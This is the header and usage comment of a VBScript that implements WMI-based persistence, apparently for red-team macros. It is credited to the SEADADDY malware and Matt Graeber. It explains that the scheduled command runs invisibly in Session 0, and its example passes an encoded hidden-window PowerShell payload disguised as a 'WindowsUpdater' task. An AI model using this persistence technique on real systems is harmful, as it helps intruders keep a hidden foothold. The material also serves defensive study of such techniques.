Visual Basic Script implementing WMI Persistence method (as implemented in SEADADDY malware and further documented by Matt Graeber) to make the Macro code schedule malware startup after roughly 3 minutes since system gets up.
'
' SYNOPSIS:
' WMI Persistence method as originally presented by SEADADDY malware
' (https://github.com/pan-unit42/iocs/blob/master/seaduke/decompiled.py#L887)
' and further documented by Matt Graeber.
'
' The scheduled command will be launched after roughly 3 minutes since system
' gets up. Also, even if the command shall spawn a window - it will not be visible,
' since the command will get invoked by WmiPrvSE.exe that's running in Session 0.
'
' USAGE:
' WMIPersistence("command to be launched", "taskName")
'
' EXAMPLE:
' WMIPersistence("powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQ[...]EUAWAA=", "WindowsUpdater")
